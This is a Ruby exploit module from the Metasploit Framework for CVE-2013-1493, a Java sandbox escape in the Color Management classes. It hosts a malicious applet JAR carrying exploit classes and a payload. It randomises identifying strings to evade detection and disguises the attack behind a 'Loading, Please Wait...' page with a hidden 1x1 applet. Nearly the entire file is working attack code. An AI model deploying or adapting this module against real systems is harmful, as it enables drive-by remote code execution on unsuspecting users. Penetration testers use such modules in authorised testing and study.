##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java CMM Remote Code Execution',
			'Description'   => %q{
					This module abuses the Color Management classes from a Java Applet to run
				arbitrary Java code outside of the sandbox as exploited in the wild in February
				and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
				and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
				systems. This exploit doesn't bypass click-to-play, so the user must accept the java
				warning in order to run the malicious applet.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability discovery and Exploit
					'juan vazquez' # Metasploit module (just ported the published exploit)
				],
			'References'    =>
				[
					[ 'CVE', '2013-1493' ],
					[ 'OSVDB', '90737' ],
					[ 'BID', '58238' ],
					[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
					[ 'URL', 'http://pastie.org/pastes/6581034' ]
				],
			'Platform'      => [ 'win', 'java' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => 'java',
							'Arch' => ARCH_JAVA
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					]
				],
			'DefaultTarget'  => 1,
			'DisclosureDate' => 'Mar 01 2013'
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
		@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
		@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
		@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
		@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@init_class_name = rand_text_alpha("Init".length)
		@init_class.gsub!("Init", @init_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@init_class_name}.class", @init_class)
			jar.add_file("Leak.class", @leak_class)
			jar.add_file("MyBufferedImage.class", @buffered_image_class)
			jar.add_file("MyColorSpace.class", @color_space_class)
			metasploit_str = rand_text_alpha("metasploit".length)
			payload_str = rand_text_alpha("payload".length)
			jar.entries.each { |entry|
				entry.name.gsub!("metasploit", metasploit_str)
				entry.name.gsub!("Payload", payload_str)
				entry.data = entry.data.gsub("metasploit", metasploit_str)
				entry.data = entry.data.gsub("Payload", payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
		html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
		html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
		html += %Q|</applet></body></html>|
		return html
	end

end
